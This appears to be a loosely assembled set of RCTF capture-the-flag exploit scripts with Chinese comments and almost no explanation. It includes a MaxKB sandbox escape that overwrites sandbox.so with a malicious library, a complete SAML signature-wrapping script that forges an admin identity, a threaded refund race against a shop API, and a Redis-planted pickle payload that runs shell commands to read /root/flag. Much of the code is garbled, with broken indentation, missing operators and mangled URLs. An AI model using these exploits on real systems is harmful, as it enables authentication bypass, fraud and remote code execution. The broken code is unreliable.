import base64
import os

def fileWrite():
    # 1. 打开目标路径（原本的沙箱库文件），准备覆盖写入
    with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
        # 2. 将我们在本地编译好并 base64 编码的恶意 so 文件内容写入
        f.write(base64.b64decode("实际的Base64字符串"))
    # 3. 触发加载
    # 当这里执行 os.popen 或任何系统调用时，或者当前 Python 进程本身启动时
    # 系统会根据配置尝试加载 LD_PRELOAD 指定的 sandbox.so
    # 此时加载的就是我们刚刚写入的恶意文件了
    os.popen("whoami") 
    
    return "success"

@app.route('/admin')
def admin():
    if 'email' not in session:
        return redirect(url_for('saml_login'))
    
    if session.get('email') != 'admin@rois.team':
        return render_template('error.html', error='Insufficient permissions, admin access only'), 403
    
    return render_template_string(os.getenv("FLAG","RCTF{test_flag}"))

session['email'] = nameid

nameid = parser.get_nameid()

parser = SAMLResponseParser(
            saml_response, 
            IDP_CERT,
            validate_time=saml_config.validate_time,
            validate_audience=saml_config.validate_audience,
            expected_audience=SP_ENTITY_ID,
            validate_destination=saml_config.validate_destination,
            expected_destination=SP_ACS_URL,
            time_tolerance=saml_config.time_tolerance
        )

saml_response = request.form.get('SAMLResponse')

if not parser.is_valid():
            return render_template('error.html', error='SAML response validation failed'), 401

def is_valid(self):
        if not self.parse():
            return False
        
        if not self.validate_signature():
            return False
        
        if not self._check_assertion_uniqueness():
            return False
        
        return True

def validate_signature(self):
        if self.document is None:
            return False
            
        validator = SignatureValidator(
            self.document, 
            self.cert_text,
            validate_time=self.validate_time,
            validate_audience=self.validate_audience,
            expected_audience=self.expected_audience,
            validate_destination=self.validate_destination,
            expected_destination=self.expected_destination,
            time_tolerance=self.time_tolerance
        )
        return validator.validate()

def validate(self):
        # ... 省略部分 ...
        
        response_signature = self._find_response_signature()
        if response_signature is not None:
             # 分支 A: 验证 Response 签名
            if not self._verify_signature(response_signature):
                return False
        else:
            # 分支 B: 验证 Assertion 签名
            assertion_signatures = self._find_assertion_signatures()
            if not assertion_signatures:
                return False
            
            for sig_node in assertion_signatures:
                if not self._verify_signature(sig_node):
                    return False
        
        # ... 省略后续检查 ...
        return True

if (parseInt(type) === 0) {
                if (!invitationCode || invitationCode !== config.getInviteCode()) {
                    return res.render('register', {
                        title: 'User Registration',
                        errors: [{ msg: 'Invalid invitation code' }],
                        formData: req.body
                    });
                }

            }

            req.session.userId = await User.create({
                username,
                email,
                password,
                type,
                displayName: displayName || username,
                department,
                role: 'user'
            });

import requests
import base64
import urllib.parse
from lxml import etree
import copy
import re
import random
import string
IDP_HOST = "<http: auth.rctf.rois.team>"
SP_HOST = "<http: auth-flag.rctf.rois.team:26000>"
def solve():
    s = requests.Session()
    # 注册登录
    rand_suffix = ''.join(random.choices(string.ascii_lowercase + 
                                         string.digits, k=6))
    username = f"hacker_{rand_suffix}"
    password = "password123"
    email = f"hacker_{rand_suffix}@example.com"
    print(username, password, email)
    register_url = f"{IDP_HOST}/register"
    reg_data = {
        "username": username,
        "email": email,
        "password": password,
        "confirmPassword": password,
        "type": False, #
        "displayName": "Hacker"
    }
    s.post(register_url, json=reg_data)
    s.cookies.clear()
    login_url = f"{IDP_HOST}/login"
    s.post(login_url, data={"username": username, "password": password})
    # 获取合法的 SAML Response
    sso_init_url = f"{IDP_HOST}/saml/idp/Flag"
    res = s.get(sso_init_url)
    saml_response_b64 = re.search(r'name="SAMLResponse" value="([^"]+)"', 
                                  res.text).group(1)
    # XML Signature Wrapping
    xml_content = base64.b64decode(saml_response_b64).decode('utf-8')
    root = etree.fromstring(xml_content.encode('utf-8'))
    ns = {'saml': 'urn:oasis:names:tc:SAML2.0:assertion', 'ds': 
          '<http: www.w3.org/2000/09/xmldsig#>'}
    original_assertion = root.find('. saml:Assertion', ns)
    fake_assertion = copy.deepcopy(original_assertion)
    fake_assertion.set('ID', f'_{urllib.parse.quote(username)}_fake')
    nameid_node = fake_assertion.find('. saml:NameID', ns)
    nameid_node.text = 'admin@rois.team'
    signature_node = fake_assertion.find('. ds:Signature', ns)
    if signature_node is not None:
        signature_node.getparent().remove(signature_node)
        root.insert(1, fake_assertion)

        evil_xml = etree.tostring(root, encoding='utf-8').decode('utf-8')
        evil_saml_response = base64.b64encode(evil_xml.encode('utf8')).decode('utf-8')
        # 认证
        sp_acs_url = f"{SP_HOST}/saml/acs"
        sp_session = requests.Session()
        res = sp_session.post(sp_acs_url, data={
            "SAMLResponse": evil_saml_response,
            "RelayState": "/admin"
        }, allow_redirects=False)

        redirect_url = res.headers.get('Location')
        target_url = f"{SP_HOST}{redirect_url}" if redirect_url.startswith("/") 
        else redirect_url
        final_res = sp_session.get(target_url)
        print(final_res.text) 

        if name  " main ":
            solve()

import requests
import threading
import time
import uuid
TARGET_URL = "<http: 61.147.171.10549947>"
PROD_LITTLE = "550e8400-e29b-41d4-a716-446655440001" # 5.50
PROD_SWEET  = "550e8400-e29b-41d4-a716-446655440002" # 8.80
PROD_FISH   = "550e8400-e29b-41d4-a716-446655440003" # 4.20
PROD_LARGE  = "550e8400-e29b-41d4-a716-446655440004" # 10.00
s = requests.Session()
CURRENT_USER = {"username": "", "password": ""}
def register_and_login():
username = f"hacker_{uuid.uuid4().hex[:8]}"
password = "password123"
email = f"{username}@hack.com"
CURRENT_USER["username"] = username
CURRENT_USER["password"] = password
print(f"[*] 注册用户: {username}")
try:
        res = s.post(f"{TARGET_URL}/api/user/register", json={
            "username": username, "password": password, "email": email
        })
        
        if res.json().get("code") != 200:
            print(f"[-] 注册失败: {res.text}")
            exit()
        res = s.post(f"{TARGET_URL}/api/user/login", json={
            "username": username, "password": password
        })
        
        token = res.json()['data']['token']
        s.headers.update({"Authorization": f"Bearer {token}"})
        print("[+] token：", token)
        user_id = res.json()['data']['user']['id']
        return user_id
    except Exception as e:
        print(f"[-] 连接错误: {e}")
        exit()
 
def get_coupon_id():
    try:
        res = s.get(f"{TARGET_URL}/api/coupon/available")
        data = res.json().get('data')
        if data:
            return data[0]['id']
    except:
        pass
    return None
 
def get_balance():
    try:
        res = s.get(f"{TARGET_URL}/api/user/info")
        return float(res.json()['data']['balance'])
    except:
        return 0.0
 
def buy(product_id, coupon_id=None):
    data = {
        "productId": product_id,
        "quantity": "1"
    }
    if coupon_id:
        data["couponId"] = coupon_id
    
    try:
        res = s.post(f"{TARGET_URL}/api/order/create", json=data)
        return res.json()
    except:
        return None
 
def refund(order_id):
    try:
        res = s.post(f"{TARGET_URL}/api/order/refund/{order_id}")
        return res.json()
    except:
        return None
 
def get_my_orders():
    try:
        res = s.get(f"{TARGET_URL}/api/order/my")
        return res.json().get('data', [])
    except:
        return []
 
def clean_up_pivot():
    orders = get_my_orders()
    if not orders: return
    for order in orders:
        if order['productId']  PROD_LARGE and order['status']  'COMPLETED' 
and order.get('couponId'):
            refund(order['id'])
 
def glitch_item(target_prod_id, target_name):
    print(f"\\n 尝试: {target_name}")
    
    attempt_count = 0
    while True:
        attempt_count += 1
        orders = get_my_orders()
        has_target = False
        target_order_id = None
        for order in orders:
            if order['productId']  target_prod_id and order['status']  
'COMPLETED':
                has_target = True
                target_order_id = order['id']
                break
        
        current_bal = get_balance()
        
        if has_target and current_bal  10.0:
            print(f"[+] 成功！已拥有 {target_name} 且余额为 10.00")
            if target_prod_id  PROD_LARGE:
                if get_coupon_id():
                    print("[+] 优惠券未使用")
                    break
                else:
                    refund(target_order_id)
                    clean_up_pivot()
                    continue
            else:
                break
        if has_target and current_bal < 10.0:
            refund(target_order_id)
            clean_up_pivot()
            continue
        coupon_id = get_coupon_id()
        if not coupon_id:
            clean_up_pivot()
            continue
        res_buy = buy(PROD_LARGE, coupon_id)
        
        if not res_buy or res_buy.get('code') != 200:
            clean_up_pivot()
            continue
        
        pivot_order_id = res_buy['data']['order']['id']
        def thread_refund():
            refund(pivot_order_id)
            
        def thread_buy_target():
            buy(target_prod_id)
 
        t1 = threading.Thread(target=thread_refund)
        t2 = threading.Thread(target=thread_buy_target)
        
        t1.start()
        t2.start()
        
        t1.join()
        t2.join()
 
def main():
    user_id = register_and_login()
    target_list = [
        (PROD_SWEET, "Sweet Potato (8.80)"),
        (PROD_LITTLE, "Little Potato (5.50)"),
        (PROD_FISH, "Fish Fish (4.20)"),
        (PROD_LARGE, "Large Potato (10.00)")
    ]
for prod_id, name in target_list:
glitch_item(prod_id, name)
time.sleep(0.2)
bal = get_balance()
coupon = get_coupon_id()
orders = get_my_orders()
completed_count = sum(1 for o in orders if o['status']  
'COMPLETED')
print(f"余额: {bal}")
print(f"优惠券: {'存在(未使用)' if coupon else '不存在(已使用)'}")
print(f"已购商品数: {completed_count}")
if bal  
10.0 and coupon:
res = s.get(f"{TARGET_URL}/api/flag/get")
print(res.text)
else:
print("[-] 失败")
print(f"Username: {CURRENT_USER['username']}")
print(f"Password: {CURRENT_USER['password']}")
if name  
" main ":
main()
RCTF{G1ft_F0r_U_My_Br0~}

import socket
class RedisClient:
    def init (self, host='localhost', port=6379):
        self.host = host
        self.port = port
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        写 pickle payload：

    def connect(self):
        """建立 TCP 连接"""
        self.socket.connect((self.host, self.port))

    def send_command(self, command):
        self.socket.sendall((command + '\\r\\n').encode('utf-8'))
        return self.parse_response()

    def parse_response(self):
        """解析 Redis 服务器的响应（基础实现）"""
        response = self.socket.recv(4096).decode('utf-8')
        return response

    def close(self):
        """关闭连接"""
        self.socket.close()
        
def exp():
    client = RedisClient()
    client.connect()

    client.send_command("auth Password123@redis")

    # 设置键值对
    res = client.send_command("keys *")
    # res = open('/etc/passwd', 'r').read()

    return res
result = exp

import redis
import base64
 
def main():
    # 1. 连接Redis并进行认证
    try:
        r = redis.Redis(
            host='localhost', 
            port=6379, 
            password='Password123@redis', # 如果有ACL用户名，加上 
username='your_username'
            decode_responses=False  # 确保获取的是bytes，便于处理二进制数据
        )
        # 测试连接
        r.ping()
        print("✅ Redis连接成功!")
    except Exception as e:
        print(f"❌ 连接Redis时出现错误: {e}")
        return
 
    # 2. 准备并存储字节数据
    try:
        # 示例1: 直接存储字节数据
        binary_data = 
base64.b64decode('gASVbgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxSX19pbXBvcnRfXygn
b3MnKS5wb3BlbignY2F0IC9yb290L2ZsYWcgPiAvdG1wL2ZsYWcgJiYgY2htb2QgNzc3IC90bXAvZm
xhZycpLnJlYWQoKZSFlFKULg ')
       
 r.set(':TOKEN:eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOiJmMGRkOGY3MS1lNGVlLTExZWUtOGM
4NC1hOGExNTk1ODAxYWIiLCJlbWFpbCI6IiIsInR5cGUiOiJTWVNURU1fVVNFUiJ91vKY0u:xS22i
8t2qsCFdGvIYZ5T565rDDS6rJXd-ppgf7nnsUA', binary_data)
        print("✅ 字节数据已存储。")
 
    except Exception as e:
        print(f"❌ 存储数据时出现错误: {e}")
 
    # 4. 关闭连接 (可选，但推荐)
    r.close()
    print("连接已关闭。")
 
result = main

def exp():
    res = open('/tmp/flag', 'r').read()
    return res
 
result = exp
RCTF{old_vuln_deleted___new_vuln_says_hi!}

await page.goto(article_url, { timeout: 3000, waitUntil: 'domcontentloaded' })

	const auditBtn = await page.$('#audit');
	if (auditBtn) {
    	await Promise.all([
        	auditBtn.click(),
        	page.waitForNavigation({ waitUntil: 'domcontentloaded' }),
    	]);
	}
	let rejectBtn = null;
	try {
    	rejectBtn = await page.waitForSelector('.btn-reject', { visible: 
                                                           true, timeout: 5000 });
	} catch (err) {}
	if (rejectBtn) {
    	await rejectBtn.click();
	}